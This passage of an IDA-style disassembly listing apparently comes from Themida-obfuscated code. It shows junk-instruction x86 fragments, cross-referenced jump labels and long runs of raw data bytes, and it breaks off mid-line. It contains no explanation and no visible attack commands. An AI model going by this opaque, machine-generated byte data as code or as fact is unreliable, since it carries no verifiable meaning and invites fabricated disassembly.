--------------------------------------------------------------------------- loc_5564D0: ; CODE XREF: Themida_:0054300Dj sub esi, 3DC109CAh add esi, 5A527D45h pop edi jmp loc_5571BD ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF7C93h, 240C8758h, 2404895Ch, 2B8h, 0B86AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564FA: ; CODE XREF: Themida_:0054EAB7j shl eax, 3 xor eax, 9D95FA4Bh xor ebp, eax pop eax xor esi, ebp pop ebp add eax, esi mov esi, [esp] add esp, 4 push ecx push ebp jmp loc_544681 ; --------------------------------------------------------------------------- loc_556517: ; CODE XREF: Themida_:005451ECj add esp, 4 jmp loc_5564A5 ; --------------------------------------------------------------------------- dw 0F800h dd 0FA2CA804h, 2823045Bh, 0EDB7E9D8h, 0C681FFFEh, 4, 4EC81h dd 0C890000h, 2B924h, 0CE010000h, 24348759h, 0FF23A9E9h dd 48F5BFFh, 0F8BAE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55655A: ; CODE XREF: Themida_:005431BFj mov edx, [esp] add esp, 4 mov eax, [ebx] mov ebx, [esp] sub esp, 4 jmp loc_547584 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 59106824h, 0EFE90000h, 0BEFFFFE4h, 52453ADAh, 4A1AF681h dd 0EEC119DAh, 6AE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55658E: ; CODE XREF: Themida_:00549626j sub edi, eax sub edi, 41551092h pop eax push esi jmp loc_5486A5 ; --------------------------------------------------------------------------- loc_55659D: ; CODE XREF: Themida_:00545393j mov [esp], ebx mov ebx, 4 jmp loc_551EC4 ; --------------------------------------------------------------------------- dw 0E905h dd 0E960CE59h, 0FFFF4B63h ; --------------------------------------------------------------------------- loc_5565B4: ; CODE XREF: Themida_:0054DD3Fj push 4DBAh mov [esp], ebp mov ebp, 6F3E1205h jmp loc_543810 ; --------------------------------------------------------------------------- dw 8B66h dd 0C4E92404h db 0Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5565CF: ; CODE XREF: Themida_:0054337Ej add esi, 4 jmp loc_54F9BA ; --------------------------------------------------------------------------- dw 0D389h dd 0FECACDE9h, 24048BFFh, 5604C483h, 8951DE89h, 8BCF89F1h dd 0C481240Ch, 4, 241C8B5Eh, 34EE9h, 59CA2100h, 0FF4DB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_556609: ; CODE XREF: Themida_:00551AF0j xor edi, [esp] pop esp btc [esp], ax pushf jmp loc_55230A ; --------------------------------------------------------------------------- aUhqm db 'UhŸm',0 align 2 dw 6BE9h dd 31FFFF0Bh, 4BE92414h, 0C1FFFF66h, 0EC8308EBh, 0DFBE904h dd 2BB0000h, 81000000h, 8A38ADC5h, 0BCC58154h, 1668002h dd 0F9E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55664E: ; CODE XREF: Themida_:00551FB1j sub edi, 98D7DDBh add edi, edx add edi, 98D7DDBh pop edx pop esi push 1394h mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] push eax mov eax, 0E0A6C06h add [esp+4], eax pop eax mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 954h mov [esp], esi push edi mov edi, 1C285483h neg edi push esi push ecx push ebx mov ebx, 23481B5Ch mov ecx, 28E12C68h jmp loc_557586 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FF8630E9h db 0FFh ; --------------------------------------------------------------------------- loc_5566C1: ; CODE XREF: Themida_:0054ED74j dec ecx inc ecx xor ecx, 5E716EFCh add edx, ecx pop ecx add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push ebp push esp pop ebp add ebp, 4 jmp loc_54547F ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 8B66D030h, 73682414h, 8900000Bh, 0E789243Ch dd 5671B951h, 0D9F70A7Ah, 0FF0A49E9h, 4EC81FFh, 89000000h dd 0E189240Ch, 4C181h, 0E9810000h, 4, 0FF7DD5E9h, 2AFD25FFh dd 48353350h, 891FE022h, 0A5AE9C5h, 81AD0000h, 4ECh, 2280E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556746: ; CODE XREF: Themida_:0055277Ej mov esi, ecx jmp loc_54462E ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 0FF03C8E9h, 2C581FFh, 0E9000000h, 1355h ; --------------------------------------------------------------------------- loc_556764: ; CODE XREF: Themida_:0054F5FFj xor edi, 33AAA31Dh mov esi, edi pop edi jmp loc_5459A0 ; --------------------------------------------------------------------------- dw 91BBh dd 3135583Dh, 241C8BD8h, 2904C483h, 0B85058C3h, 6EB11682h dd 3503E0C1h, 62505CB8h, 0FFF8FDE9h, 76C480FFh, 28F2EC80h dd 0F2C480FCh, 5B76EC80h, 59E9E528h, 83FFFF9Bh, 786804C4h dd 8900001Bh, 34812414h, 0E9160324h, 0E9592Eh, 80FFFF2Eh dd 0F10873EEh, 0FFB75AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5567CD: ; CODE XREF: Themida_:005458BCj push eax mov eax, 28164D47h jmp loc_5440D2 ; --------------------------------------------------------------------------- loc_5567D8: ; CODE XREF: Themida_:005479E6j neg edx xor edx, 4051895Fh xor edi, edx pop edx xor ebp, edi mov edi, [esp] add esp, 4 jmp loc_54A24C ; --------------------------------------------------------------------------- dd 4C481h, 0E9C00000h, 0FDB35306h, 5006EBC0h, 0C30044B0h dd 5BD93058h, 88CB8853h, 80595BDCh, 0E36807C4h, 8900006Bh dd 0EC83241Ch, 240C8904h, 0EF88E588h, 0FD885159h, 0FF4BA4E9h dd 8BD031FFh, 6EE92414h, 83FFFF09h, 0B56804C4h, 89000020h dd 0EC83240Ch, 243C8904h, 0FF427AE9h, 0F8E943FFh, 50FFFFDBh dd 76333D68h, 0AE0D5836h, 2D512A16h, 76E2FC7Eh, 0FF5896E9h dd 60E9ADFFh, 5DFFFF6Ah, 3F6FC581h, 0D5296C7Ch, 0FF2E1EE9h dd 60C681FFh, 19177EAh, 15B5EF0h, 2592DD0h, 34FF4336h dd 24148B24h, 0FFA5ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_556899: ; CODE XREF: Themida_:0054704Ej push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push edi jmp loc_5457D2 ; --------------------------------------------------------------------------- db 1 dd 0B95158C7h, 423F0D62h, 0C5C1E953h, 0E1C1FFFEh, 0E5C18107h dd 89301249h, 0B95159CBh, 1075444Bh, 0FFF2E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5568D1: ; CODE XREF: Themida_:0055198Aj add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_54AD52 ; --------------------------------------------------------------------------- db 0FFh dd 25E92C77h db 0BEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5568E7: ; CODE XREF: Themida_:0054A40Fj xor ebp, 7AC26C6Dh push ebp xor dword ptr [esp], 18937A26h pop ecx xor ecx, 18937A26h jmp loc_555786 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 6 dd 0C107E5C1h, 0F96806E5h, 8900000Fh, 6850240Ch, 40F73B8Ch dd 8124048Bh, 4C4h, 8F5AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556926: ; CODE XREF: Themida_:005507E7j add esi, ecx jmp loc_5530D8 ; --------------------------------------------------------------------------- aTzZ db '’Z%`z',0 db 7Ah dd 8050E956h, 248BFFFFh, 9927E924h, 405FFFFh, 83000000h dd 81E904ECh, 81FFFFBCh, 4C4h, 6EFC100h, 5604E7C1h, 4E68C8BEh dd 99C68141h, 31D39EE9h, 24348BF7h, 4C481h, 89530000h dd 5BDD89FBh, 5F2434FFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 2C8BE921h, 4C48124h, 0C1000000h, 0C00900E9h, 7660840Fh dd 5355FFFFh, 30DDBD55h, 6C2931A8h, 0FF5D0424h, 515D2434h dd 0E0E9E189h, 29FFFF16h, 0C5815DEAh, 34D60BF4h, 0ED81D529h dd 34D60BF4h, 5D96685Ah, 3C890000h, 5032BF24h, 0EF8129D5h dd 12BDF2C4h, 0C15FFD29h, 0EC8102E5h, 4, 0E9243489h, 0FFFEF129h dd 2136EF81h, 0E95B3594h, 0FFFF6F81h, 4C481h, 0EC830000h dd 24148904h, 882012BAh, 8DCA8158h, 4A35EE76h, 4F0EA81h dd 0D50145B2h, 75B1E95Ah, 4BBFFFFh, 1000000h, 0EC815BDEh dd 4, 0E9241489h, 0FFFF8BF2h ; --------------------------------------------------------------------------- loc_556A3C: ; CODE XREF: Themida_:0054A6E7j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor al, cl pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_55561E ; --------------------------------------------------------------------------- loc_556A5F: ; CODE XREF: Themida_:005506A6j jmp loc_54487C ; --------------------------------------------------------------------------- loc_556A64: ; CODE XREF: Themida_:00555E10j push 49D4h mov [esp], ebp push 21BD4173h jmp loc_550223 ; --------------------------------------------------------------------------- loc_556A76: ; CODE XREF: Themida_:0054FDEFj pop edi add eax, ecx push dword ptr [esp] pop ecx push 0B3h jmp loc_5457A3 ; --------------------------------------------------------------------------- db 8Bh dd 0BFE92404h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A8F: ; CODE XREF: Themida_:0054AF04j mov edx, 4 mov ebp, edx pop edx sub edi, ebp mov ebp, [esp] jmp loc_54F604 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 6624248Bh, 50C8B60Fh, 0FED9E2E9h, 5AD589FFh, 0FF2E0DE9h dd 8B5452FFh, 0C4832414h, 0DD9AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556AC6: ; CODE XREF: Themida_:00546E77j sub ebp, 406063FFh add ecx, ebp jmp loc_54580A ; --------------------------------------------------------------------------- db 0BDh dd 69333DCh, 997095BBh, 5DEB3157h, 0E95BDE01h, 0FFFF7BB1h ; --------------------------------------------------------------------------- loc_556AE8: ; CODE XREF: Themida_:00549975j pop esp push 79A3h mov [esp], ecx push ebx mov ebx, 199520B3h push eax mov eax, 470C0995h jmp loc_544482 ; --------------------------------------------------------------------------- dw 0ADBBh dd 29A3215Bh, 0CB815DEBh, 622141Eh, 1EBF574Bh, 81D460FAh dd 1B1A24C3h, 81FB292Ch, 1B1A24EBh, 243C8B2Ch, 0FF27F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_556B2D: ; CODE XREF: Themida_:00551B99j mov [esp], ebx jmp loc_551EE1 ; --------------------------------------------------------------------------- db 1, 0F7h, 5Eh dd 0DE89E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B3E: ; CODE XREF: Themida_:0054B523j mov [esp], edi mov edi, esp jmp loc_54BB1A ; --------------------------------------------------------------------------- dd 0E0F381h, 0F3816DD8h, 926088h, 42BB951h, 0F1810086h dd 154D7EE3h, 29E18141h, 8111666Dh, 31634CF1h, 0FBC381BFh dd 2939DE35h, 0FBEB81CBh, 0E939DE35h, 0FFFECC84h ; --------------------------------------------------------------------------- loc_556B80: ; CODE XREF: Themida_:005434D6j add ebx, 4 push ecx mov ecx, 57A34E1h and ecx, 6874638Bh sub esp, 4 mov [esp], esi jmp loc_546378 ; --------------------------------------------------------------------------- dd 0EB81FB01h, 7C0C34CDh, 0FF6619E9h, 4C295CFFh, 5B590424h dd 0FFFA72E9h, 24148BFFh, 0FF7EBBE9h, 2434FFFFh, 0FF4CFFE9h dd 0EF815BFFh, 530A0076h, 0F2E9EF01h, 31FFFF23h, 14332414h dd 24248B24h, 0E9F388h, 52FFFF78h, 0FFFFFFBAh, 5AD501FFh dd 0FF0925E9h, 1258BDFFh, 4AE952F8h, 81FFFEEBh, 9A0A18F5h dd 1ABA521Bh, 8104974Ch, 0A954BAE2h, 6CEA811Ah, 0E91D6F11h dd 0FFFFEBF8h, 5104C483h, 0D7799DB9h, 17496836h, 0C890000h dd 63BBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C32: ; CODE XREF: Themida_:00543357j pop eax add edi, ebx jmp loc_54D00A ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5C243487h, 8104E6C1h, 1C6h, 0CF98E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556C52: ; CODE XREF: Themida_:0054F6CAj push edx mov edx, 48AD796Ah sub esi, 74EA5DA8h add esi, edx jmp loc_54A940 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 75F4685Bh, 0C890000h, 74B7B924h, 0E9C11F4Dh, 0D3E98106h dd 8148E21Ch, 0F013A2E1h, 56D1F755h, 0FF22E6E9h, 242C31FFh dd 0FFC703E9h, 0EF2858FFh, 0E5C78059h, 0E975CF80h, 0FFFF418Ah dd 0C007D5B8h, 90BF571Bh, 16DEE4Eh, 0E8C15FF8h, 0B92EE904h dd 0C681FFFFh, 15F03C81h, 48E9C629h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556CCB: ; CODE XREF: Themida_:0054B3A6j xor ebp, ecx jmp loc_5530FB ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0E904EB83h, 0FFFF1753h, 0DB4CED81h, 0E0E9AE73h, 52FFFF01h dd 8904EC83h, 682404h, 5873A056h, 487F8225h, 5E8C132h dd 0AD9C2C2Dh, 0F888E9B0h, 0F831FFFEh, 8BE9C731h, 0B5FFFEBAh dd 0EE885236h, 0E95AF088h, 0FFFF3B53h, 240C895Ch, 51653CB9h dd 1E98107h, 0C1000000h, 0C98104E1h, 16B917C0h, 0D22DC181h dd 0D9E9B437h, 8B000003h, 2CD22424h, 0BDE99C24h, 5BFFFEB9h dd 24048152h, 7BA37FADh, 7FAD2D58h, 22E97BA3h db 0DAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556D63: ; CODE XREF: Themida_:00551552j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54EBB1 ; --------------------------------------------------------------------------- dd 6D27D8B8h, 2EBC0543h, 35404045h, 0E6820684h, 0FF4101E9h dd 5E089FFh, 4, 8704C083h, 815C2404h, 2C6h, 0ED62E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DA2: ; CODE XREF: Themida_:00557642j pop eax sub cl, 1 push 737h mov [esp], edx push ecx mov cl, 0D7h mov dh, cl pop ecx or dh, 6Fh inc dh neg dh not dh push edx not byte ptr [esp+1] jmp loc_54CD76 ; --------------------------------------------------------------------------- db 54h dd 83240C8Bh, 0C18104C4h, 4, 4C181h, 0C870000h, 2C875C24h dd 24248B24h, 9C240421h, 0FEB91FE9h, 0FFFFB8FFh, 0C101FFFFh dd 0FF11A8E9h, 6AE468FFh, 1C890000h, 81E38924h, 4C3h, 4BF5700h dd 56000000h, 835074BEh, 45F68109h, 817E2779h, 503068EEh dd 0FCEE8120h, 1DB47C3h, 71E95EF3h, 0FFFFFFFDh, 0E9042474h dd 0FFFFA2C2h, 56E9CFFEh, 68FFFF76h, 0 dd 5B241C29h, 37F5EB81h, 0DF019C55h, 4EC815Bh, 89000000h dd 0DC68242Ch, 5D6CC31Ch, 0D5F7D5F7h, 7A2BF581h, 0AEE97AE1h dd 89FFFF90h, 405E0h, 0C0830000h, 24048704h, 524248Bh dd 383ED7h, 0FEC9E6E9h db 0FFh ; --------------------------------------------------------------------------- loc_556E89: ; CODE XREF: Themida_:00543344j add eax, ebx sub eax, 48B21D78h pop ebx push eax jmp loc_5537BF ; --------------------------------------------------------------------------- db 81h dd 0C52BD0C6h, 21F68138h, 899139AEh, 24348BF0h, 8104C483h dd 0A40A3CEAh, 6AC2810Dh, 0E9489535h, 0FFFFB279h, 24048B66h dd 4EC8150h, 89000000h, 45E92424h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556ECF: ; CODE XREF: Themida_:00544724j inc cl xor cl, 16h add bl, cl jmp loc_54FD0F ; --------------------------------------------------------------------------- db 81h dd 175114C1h, 0C4E1E957h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_556EE6: ; CODE XREF: Themida_:00548139j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push edx push 5771h mov [esp], ecx mov cl, al mov dh, cl push dword ptr [esp] pop ecx push esi mov esi, esp jmp loc_554367 ; --------------------------------------------------------------------------- loc_556F0C: ; CODE XREF: Themida_:00552589j add edi, 4 push 565Eh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 8782E52h add ebx, 18A05306h not ebx shl ebx, 5 push edi mov edi, 23102B24h add ebx, edi mov edi, [esp] jmp loc_554FF2 ; --------------------------------------------------------------------------- loc_556F4C: ; CODE XREF: Themida_:00557811j push ebp jmp loc_55757A ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 4BF5700h, 81000000h, 0A31033E9h, 81F90126h dd 0A31033C1h, 243C8B26h, 8704C483h, 535C240Ch, 0FFA867E9h db 0FFh ; --------------------------------------------------------------------------- loc_556F81: ; CODE XREF: Themida_:0054F283j add esp, 4 push 2463h mov [esp], ecx mov ch, ah mov bh, ch mov ecx, [esp] jmp loc_555743 ; --------------------------------------------------------------------------- loc_556F9B: ; CODE XREF: Themida_:0054739Dj or ecx, eax jmp loc_54581B ; --------------------------------------------------------------------------- loc_556FA2: ; CODE XREF: Themida_:0054306Bj mov [esp], ebx mov ebx, 1B651909h jmp loc_54CE17 ; --------------------------------------------------------------------------- loc_556FAF: ; CODE XREF: Themida_:0054AC5Aj neg esi push eax mov eax, 0BE255B62h sub esi, 7CFB432Ah sub esi, eax add esi, 7CFB432Ah jmp loc_545BC6 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFE943h, 53242C8Bh, 0C381E389h, 4, 0FF49B8E9h, 240C89FFh dd 0C25875B9h, 0B0BF5730h, 213BA823h, 0C9815FF9h, 2A635C38h dd 0EC15C181h, 0CD89FDA8h, 81240C8Bh, 4C4h, 29042D00h dd 0E8012376h, 76290405h, 242C8B23h, 0F911E955h, 34FFFFFEh dd 0C4835924h, 6EF3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55702A: ; CODE XREF: Themida_:00553B8Ej xor ebx, 29C153F9h sub esi, ebx pop ebx mov edx, esi pop esi jmp loc_5572DA ; --------------------------------------------------------------------------- db 89h dd 94BD242Ch, 1240423h, 2434FFEEh, 0FEE34BE9h, 4EC83FFh dd 87243489h, 0D6F72434h, 5E243487h, 0FF818EE9h, 2434FFFFh dd 5B54535Bh, 4C381h, 0C3810000h, 4, 0CFE9h db 0 ; --------------------------------------------------------------------------- loc_557079: ; CODE XREF: Themida_:00546E94j mov ecx, esp add ecx, 4 jmp loc_545F75 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 241CD366h, 0B676E99Ch, 8B66FFFEh, 0EC832404h dd 24048904h, 24048B54h, 0FFF78EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5570A9: ; CODE XREF: Themida_:00553037j mov ebx, 70FE7A4Fh xor ebx, 4CB433FFh shr ebx, 7 sub ebx, 0E345EAh and ebx, 0BDD3332h not ebx jmp loc_552116 ; --------------------------------------------------------------------------- dw 8ABEh dd 29ABE93Eh, 0E9535DEEh, 0FFFF49DDh, 1C330D48h, 5487DB0h dd 6, 0A7E9C601h, 88FFFF6Ch, 269AE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5570F2: ; CODE XREF: Themida_:00554D00j mov ebx, eax jmp loc_54B6F2 ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C0h dd 0E987048Fh, 0FFFEB608h, 4C18159h, 50000000h, 1459B951h dd 5BB804B9h, 0E904B914h, 0FFFF6F1Ch, 0E9595F51h, 0FFFF78B5h ; --------------------------------------------------------------------------- loc_557124: ; CODE XREF: Themida_:005461E5j pop eax push 5C15h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub bl, ch pop ecx push ecx jmp loc_544722 ; --------------------------------------------------------------------------- dd 0E9241C33h, 0FFFFBB50h ; --------------------------------------------------------------------------- loc_557150: ; CODE XREF: Themida_:005489F0j add ebp, 4 xchg ebp, [esp] mov esp, [esp] and eax, 5B120ABAh add eax, 0ACEFFF6Ah sub ecx, 2C564819h add ecx, 30E63D95h jmp loc_54FADB ; --------------------------------------------------------------------------- db 5Dh dd 0FFCC21E9h db 0FFh ; --------------------------------------------------------------------------- loc_55717D: ; CODE XREF: Themida_:005446CAj xor ebp, 78155E77h push ebp xor dword ptr [esp], 40166C03h push dword ptr [esp] pop edx jmp loc_5468ED ; --------------------------------------------------------------------------- aXqO_s db 'XQ¹®_™',0 db 0E9h dd 0FFFEFC79h, 74FF505Dh, 8F580424h, 0D25C2404h, 0E99C2404h dd 0FFFEF3D3h ; --------------------------------------------------------------------------- loc_5571B4: ; CODE XREF: Themida_:00546A56j mov [esp], ax jmp loc_54E9F3 ; --------------------------------------------------------------------------- loc_5571BD: ; CODE XREF: Themida_:005564DDj xor esi, 102017CFh shl esi, 2 push ebp jmp loc_549D67 ; --------------------------------------------------------------------------- dd 305068h, 0F059E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571D6: ; CODE XREF: Themida_:0055508Ej mov esp, [esp] sub esp, 4 jmp loc_54EABC ; --------------------------------------------------------------------------- loc_5571E1: ; CODE XREF: Themida_:0054C075j pop ebp jmp loc_55464C ; --------------------------------------------------------------------------- db 1 dd 0CB6AE9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571EE: ; CODE XREF: Themida_:00557731j mov ebp, 4 add edx, 234E491Bh add edx, ebp sub edx, 234E491Bh pop ebp push esi mov esi, 30D2C4Ah xor esi, 30D2C4Eh add edx, 41720201h add edx, esi jmp loc_542A85 ; --------------------------------------------------------------------------- loc_55721B: ; CODE XREF: Themida_:00543940j push eax push edx jmp loc_54CFE4 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 5C1EBB53h, 85E915FCh, 0FFFFFEFCh, 0D1E94077h db 0B4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55723B: ; CODE XREF: Themida_:0054AC91j mov esi, 366430E8h add ebx, esi pop esi jmp loc_552F91 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF1E10h ; --------------------------------------------------------------------------- loc_557250: ; CODE XREF: Themida_:00548048j pop eax push edx jmp loc_54F70D ; --------------------------------------------------------------------------- db 55h dd 0FFF998E9h, 5E089FFh, 4, 405h, 24048700h, 0E389535Ch dd 0FEC933E9h db 0FFh ; --------------------------------------------------------------------------- loc_557275: ; CODE XREF: Themida_:0054BCE5j add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_552858 ; --------------------------------------------------------------------------- loc_55728E: ; CODE XREF: Themida_:005504E2j push edi mov edi, 3A834144h mov eax, edi pop edi push ebp mov ebp, 791464C5h jmp loc_548FC2 ; --------------------------------------------------------------------------- dw 8966h dd 68662424h, 89667595h, 0EC832404h, 24148904h, 75BD6655h dd 0B6BA6654h, 0EED9E9C9h, 0C681FFFFh, 7C440A1h, 24048B5Bh dd 81E68956h, 4C6h, 8B5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572DA: ; CODE XREF: Themida_:loc_54F759j ; Themida_:00552EFAj ... push 43E4h jmp loc_5443EB ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Eh, 0F031C631h, 0F792C631h, 585250D2h dd 0E9C6315Ah, 0FFFFCBADh, 168DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557306: ; CODE XREF: Themida_:00547151j mov edi, [esp] add esp, 4 push esi mov esi, 4 sub eax, esi pop esi xor eax, [esp] xor [esp], eax jmp loc_5449BD ; --------------------------------------------------------------------------- loc_557323: ; CODE XREF: Themida_:0054BCEDj add dword ptr [esp], 4 pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp] pop edx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_54F6A6 ; --------------------------------------------------------------------------- db 1, 0DDh, 8Bh dd 6DE9241Ch db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557357: ; CODE XREF: Themida_:00544008j add eax, 4 xchg eax, [esp] mov esp, [esp] add edx, eax push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 and eax, edx jmp loc_555F1E ; --------------------------------------------------------------------------- dw 9905h dd 106F859h, 59992DD0h, 58E906F8h, 89FFFF32h, 6A682434h dd 8B1F3C61h, 0C4812434h, 4, 1E02CE81h, 0E6C10B48h, 82C68102h dd 89D53B15h, 348B2077h, 4C48324h, 81E78957h, 4C7h, 4EF8100h dd 0E9000000h, 0FFFEF2E3h, 4C181h, 0E9830000h, 240C8704h dd 0FECD03E9h, 55E189FFh, 0FEFF6FE9h, 7E1925FFh, 4D05712Ch dd 537942CEh, 0DA89C389h, 0FF8049E9h, 2BAFFh, 58520000h dd 0FFC2015Ah, 83582434h, 0EC8104C4h, 4, 0FF241489h, 0FF042474h dd 835A2434h, 48F04C4h, 24248B24h, 9C240430h, 0FF7401E9h dd 240489FFh, 0FF5DABE9h, 9368ADFFh, 8900001Eh, 58542404h dd 91BE5653h, 0BB39DB27h, 8462FD0h, 0D6E9F301h db 2 dup(0FEh), 0FFh ; --------------------------------------------------------------------------- loc_557457: ; CODE XREF: Themida_:0054AB78j shl ebx, 4 add ebx, 0EC1E3C5Dh shl ebx, 6 jmp loc_549C92 ; --------------------------------------------------------------------------- dd 4C481h, 0FF570000h, 8B042474h, 0B2E9243Ch, 83FFFEF1h dd 0C8704C1h, 0E9815C24h, 7B8E1F3Ch, 4924E950h, 8B66FFFFh dd 54562404h, 4C6815Eh, 52000000h, 0B70D4DBAh, 4EAC13Ch dd 8108EAC1h, 4404BECAh, 31CDE91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5574B2: ; CODE XREF: Themida_:00555372j inc esi jmp loc_54A3EF ; --------------------------------------------------------------------------- loc_5574B8: ; CODE XREF: Themida_:00545E0Fj add edi, ecx pop ecx jmp loc_552BBA ; --------------------------------------------------------------------------- dd 2434FF54h, 4EC8158h, 89000000h, 0E189240Ch, 4C181h dd 22E90000h db 0C1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5574DB: ; CODE XREF: Themida_:00549313j shl esi, 1 xor esi, 2B2D1B4Bh sub eax, esi pop esi push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 2 sub eax, ecx mov ecx, [esp] jmp loc_547DE9 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5BCBEB81h, 0EB813F52h dd 337B4EF0h, 0FEB57BE9h, 3ABD55FFh, 0E94DD877h, 0FFFF1122h dd 33E9FB01h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55753B: ; CODE XREF: Themida_:0054A217j mov edx, [esp] jmp loc_553F72 ; --------------------------------------------------------------------------- db 8Fh dd 0C1E94047h db 0B1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55754B: ; CODE XREF: Themida_:00542AC4j mov ebx, 7700370Fh add ebx, 88FFC8F5h jmp loc_5517C3 ; --------------------------------------------------------------------------- loc_55755B: ; CODE XREF: Themida_:00548C19j sub ebx, 2C1F736Eh add ebx, edi add ebx, 2C1F736Eh push ecx mov ecx, 0 add ecx, 2B7E7CD3h jmp loc_54F946 ; --------------------------------------------------------------------------- loc_55757A: ; CODE XREF: Themida_:00556F4Dj mov ebp, 4 add esi, ebp jmp loc_551836 ; --------------------------------------------------------------------------- loc_557586: ; CODE XREF: Themida_:005566B4j xor ecx, ebx jmp loc_552C43 ; --------------------------------------------------------------------------- db 31h, 2Ch, 24h dd 0FF0A8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_557595: ; CODE XREF: Themida_:00550ABEj push ebx mov ebx, 157549BCh jmp loc_54522A ; --------------------------------------------------------------------------- dd 4C4815Fh, 87000000h, 248B241Ch, 1C6F0924h, 83242C8Bh dd 51E904C4h, 89FFFEB1h, 28BF243Ch, 816BBE3Ch, 2D28D5C2h dd 81FA2914h, 2D28D5EAh, 9123E914h, 8B66FFFFh, 68552404h dd 4FFDh, 0FEE1AAE9h, 7EDC1FFh, 0C7FAF581h, 0EA812ECBh dd 6839555Ah, 2717EA81h, 0EA814990h, 61CF49A3h, 0C281EA01h dd 61CF49A3h, 4EC81h, 0C890000h, 6870B924h, 0BF5779E8h dd 7475471Bh, 8105E7C1h, 994875EFh, 22AE909h, 0E952FFFFh dd 0FFFFB806h ; --------------------------------------------------------------------------- loc_557630: ; CODE XREF: Themida_:0054A651j xchg esi, ecx push edx mov edx, esp jmp loc_546FD3 ; --------------------------------------------------------------------------- loc_55763A: ; CODE XREF: Themida_:00545598j xor ah, bh pop ebx add ah, 50h or cl, ah jmp loc_556DA2 ; --------------------------------------------------------------------------- db 5Fh dd 0CA380D2Dh, 5F00143h, 43CA380Dh, 0E92434FFh, 0FFFEFCABh dd 51505266h, 0D9F651B1h, 4EC81h, 81E90000h, 33FFFF1Ah dd 0C2E9241Ch, 0F7FFFF53h, 4D2595D5h, 2D18A126h, 0F987D8B9h dd 8958C631h, 24348BF7h, 4C481h, 0C2810000h, 17F02406h dd 0EA81FA01h, 